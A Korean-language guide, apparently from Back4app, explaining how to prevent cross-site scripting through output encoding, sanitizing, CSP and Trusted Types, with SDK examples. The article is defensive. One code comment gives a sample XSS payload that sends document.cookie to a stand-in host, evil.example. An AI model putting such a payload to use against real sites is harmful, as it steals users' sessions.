크로스 사이트 스크립팅(XSS)이란? 어떻게 방지할까?

크로스 사이트 스크립팅(XSS)은 신뢰받는 페이지에 악성 스크립트를 주입하는 공격이며, 방지의 핵심은 컨텍스트별 출력 인코딩입니다. 브라우저는 자기 신뢰의 희생자입니다. 정상적인 출처의 페이지 안에 실려 도착한 스크립트는 그 페이지의 모든 권한, 즉 세션, 스토리지, 사용자가 할 수 있는 모든 동작을 그대로 가지고 실행됩니다. 30년이 지난 지금도 CWE-79가 가장 위험한 취약점 순위의 맨 위를 차지하는 이유는, 근본 원인이 템플릿 하나하나에서 반복해서 만들어지기 때문입니다. 신뢰할 수 없는 입력이 인코딩 없이 출력에 도달하는 것입니다.

핵심 요약

취약한 코드 한 줄

// 버그 – 사용자 데이터가 HTML 싱크와 만남
commentEl.innerHTML = comment.text;
// 누군가는 결국 제출하게 될 페이로드:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// 모든 독자의 브라우저가 독자 자신의 세션으로 이를 실행함.

// 수정 – 같은 데이터, 텍스트 컨텍스트
commentEl.textContent = comment.text;   // 마크업은 표시될 뿐, 실행되지 않음

이 수정의 바탕에 있는 원칙, 즉 원본 그대로 저장하고 안전하게 렌더링하는 방식을 스택 전반에 적용하면 다음과 같습니다:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

// Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time

// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content

// iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time

label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content

// Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time

textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content

저장형 vs. 반사형 vs. DOM 기반 XSS

주된 방어 수단: 컨텍스트 인식 출력 인코딩

핵심 규칙을 분명하게 말해 두겠습니다. 검색 결과 상위의 권위 있는 자료들은 이 규칙을 깊숙이 묻어 두기 때문입니다. 같은 문자열이 어떤 곳에서는 안전하고 다른 곳에서는 치명적입니다. 그래서 인코딩은 출력 시점에, 출력 위치별로 이루어지며, 입력 검증만으로는 항상 실패합니다. 입력 시점에는 컨텍스트를 알 수 없고, 차단 목록은 인코딩 기법으로 우회되며, 검증을 보안 수단으로 쓰면 정상적인 데이터(O'Brien, 1 < 2)가 깨집니다.

사용자가 리치 텍스트나 마크다운처럼 정당하게 HTML을 작성하는 경우에는 인코딩이 그 내용을 망가뜨립니다. 이것이 바로 새니타이징이 맡는 유일한 역할입니다. 유지 관리되는 라이브러리(DOMPurify)가 실행 가능한 구조를 제거하며, 그 출력은 손대지 않고 그대로 사용해야 합니다. 새니타이징된 문자열을 다시 수정하면 새니타이징의 효과가 사라집니다.

프레임워크: 기본은 이스케이프, 위험은 탈출구에서

최신 프레임워크는 고전적인 XSS의 대부분을 없앴습니다. 보간된 값은 자동으로 이스케이프됩니다. 하지만 약관의 세부 조항 두 가지가 이 버그를 살려 둡니다. 첫째, 모든 프레임워크에는 우회 수단이 있으며, 하나하나가 코드 리뷰에서 grep으로 찾아야 할 대상입니다:

둘째, 자동 이스케이프는 HTML 본문 컨텍스트만 다룹니다. 사용자 데이터에 바인딩된 href는 여전히 javascript: URL을 실행하고, 인라인 스크립트에 데이터를 넣을 때는 여전히 JS 컨텍스트 인코딩이 필요합니다. 작업 흐름상의 해답은 이렇습니다. 어떤 탈출구든 쓰기 전에 새니타이징하고, 바인딩된 링크의 URL 스킴을 검증하고, 탈출구를 린트로 잡아내(react/no-danger 등) 예외가 언제나 의도된 것으로 남게 해야 합니다.

심층 방어: CSP, Trusted Types, HttpOnly

안전망의 역할을 있는 그대로 정리하면 다음과 같습니다. 엄격한 콘텐츠 보안 정책(CSP)은 버그가 배포되더라도 주입된 인라인 스크립트를 차단합니다:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

허용 목록 기반이 아니라 논스 기반이어야 합니다. 호스트 허용 목록은 우회되는 경우가 많아서 OWASP 치트 시트는 CSP가 “주된 방어 수단이 되어서는 안 된다”고 강조합니다. 먼저 Report-Only 모드로 도입하는 것이 좋습니다. Trusted Types(require-trusted-types-for 'script')는 DOM XSS에 대해 한 걸음 더 나아갑니다. innerHTML 같은 위험한 싱크가 일반 문자열을 아예 거부하므로, 모든 HTML이 감사 가능한 단 하나의 정책을 거치게 됩니다. 그리고 HttpOnly 쿠키는 정확히 한 가지, 즉 주입된 스크립트가 세션 쿠키를 읽지 못하게 하는 것만 보호합니다. 이것이 중요한 이유는 localStorage에 있는 토큰이 localStorage.getItem 한 번이면 유출되기 때문입니다. JWT 저장 지침과 이 글은 같은 주장을 양쪽에서 바라본 것입니다. 셋 중 어느 것도 버그를 고치지는 못하지만, 셋 모두 공격자가 그 버그로 얻을 수 있는 것을 줄여 줍니다.

백엔드의 몫

XSS는 프론트엔드 문제처럼 보이지만, 그 일부는 API의 몫입니다. 원본 그대로 저장하고, 출력 시점에 인코딩해야 합니다. 쓰기 시점에 인코딩하면 데이터가 손상되고, 왕복할 때마다 이중 인코딩되며, 예측하지 못한 컨텍스트는 여전히 놓칩니다. 콘텐츠 타입 규율: JSON 응답은 Content-Type: application/json과 함께 X-Content-Type-Options: nosniff를 선언해야 합니다. 브라우저가 HTML로 스니핑할 수 있는 응답에 반사된 파라미터는 단계가 몇 개 더 붙었을 뿐 그 자체로 XSS이기 때문입니다. URL이나 파라미터를 그대로 보여 주는 오류 페이지는 아무도 코드 리뷰하지 않는 고전적인 반사형 싱크입니다. 그리고 한 문장으로 짚어 둘 인접한 함정이 있습니다. 사용자 입력을 데이터가 아니라 템플릿으로 렌더링하면 XSS를 넘어 서버 측 템플릿 인젝션으로 번집니다. 사용자 입력은 템플릿 데이터일 뿐, 결코 템플릿 소스가 아닙니다.

일반적인 사용 사례

이러한 방어가 제 몫을 하는 곳은 다음과 같습니다:

• 댓글, 리뷰, 메시지 – 저장형 XSS의 영역입니다. 표시되는 모든 곳에서 렌더링 시 인코딩해야 합니다.
• 리치 텍스트와 마크다운 – 정당한 HTML의 경우입니다. 렌더링 시 새니타이징하고, 새니타이저를 최신 상태로 유지해야 합니다.
• 검색, 필터, 오류 페이지 – 반사형의 영역입니다. 요청 데이터를 그대로 돌려주는 모든 곳은 이를 인코딩해야 합니다.
• URL 상태로 라우팅하는 SPA – DOM의 영역입니다. 프래그먼트와 쿼리 데이터가 새니타이징 없이 innerHTML에 닿아서는 안 됩니다.
• 모바일 WebView – 네이티브 앱의 XSS 공격 표면입니다. 가공하지 않은 사용자 콘텐츠를 HTML로 로드해서는 안 됩니다.

어떤 방어부터 적용해야 할까? 결정 매트릭스

한계와 트레이드오프

• 인코딩은 컨텍스트에 정확히 맞아야 합니다. URL이나 스크립트 블록에 바인딩된 데이터를 HTML 인코딩하는 것은 안전하다는 착각을 주는 패턴입니다. 방어 수단은 맞지만 컨텍스트가 틀려서 여전히 악용될 수 있습니다.
• 새니타이저는 의존성입니다. 우회 기법은 공개되기 마련이고, 버전이 고정된 채 방치된 새니타이저는 변경 이력이 딸린 취약점으로 조용히 바뀝니다.
• CSP에는 엔지니어링 비용이 듭니다. 논스는 모든 script 태그와 인라인 핸들러에 영향을 줍니다. 레거시 코드베이스에 엄격한 CSP를 도입하는 일은 하나의 프로젝트이며, Report-Only가 존재하는 이유도 그 때문입니다.
• Trusted Types는 도입 범위에 한계가 있습니다. 최신 브라우저 전반에서 동작하게 된 것은 2026년 초부터이므로 구형 브라우저는 이를 무시합니다. 보장이 아니라 인코딩 위에 얹는 강화 수단으로 취급해야 합니다.
• WAF는 해답이 아닙니다. 패턴 매칭 필터는 알려진 페이로드는 잡지만 인코딩과 변형은 놓칩니다. OWASP 자체의 지침도 WAF를 XSS 방어 수단으로는 신뢰할 수 없다고 봅니다.

Back4app에서의 XSS 방지

Back4app은 관리형 데이터베이스, 자동 생성되는 REST 및 GraphQL API, 인증, 파일 스토리지, Cloud Code 서버리스 함수를 결합한 오픈소스 Backend as a Service(BaaS) 플랫폼입니다. 이 규율 가운데 백엔드의 몫은 기본으로 갖춰져 있습니다. 데이터는 원본 그대로 저장되고 올바른 콘텐츠 타입과 함께 JSON API로 반환되며, 서버 측에서 HTML로 렌더링되는 일은 없습니다. 따라서 출력 시점 인코딩의 책임은 깔끔하게 UI 계층에 놓이며, 위의 코드 탭은 플랫폼별로 원본 저장/안전한 렌더링 패턴을 보여 줍니다. 영향 범위를 줄이는 통제도 이미 켜져 있습니다. 세션은 오래 유지되는 localStorage 자격 증명이 아니라 폐기 가능한 토큰에 의존하며, ACL과 클래스 수준 권한이 사용자로서 실행되는 스크립트가 건드릴 수 있는 범위를 제한합니다. 주입된 페이로드가 물려받는 것은 데이터베이스 전체가 아니라 피해자의 권한입니다. 남은 서버 측 보안 점검 작업을 맡기기에는 Cloud Code가 적합합니다. beforeSave에서 URL 필드를 스킴 허용 목록과 대조해 검증하고 리치 텍스트 필드를 한 번 새니타이징해 두면, 모든 클라이언트가 똑같이 방어된 콘텐츠를 렌더링합니다.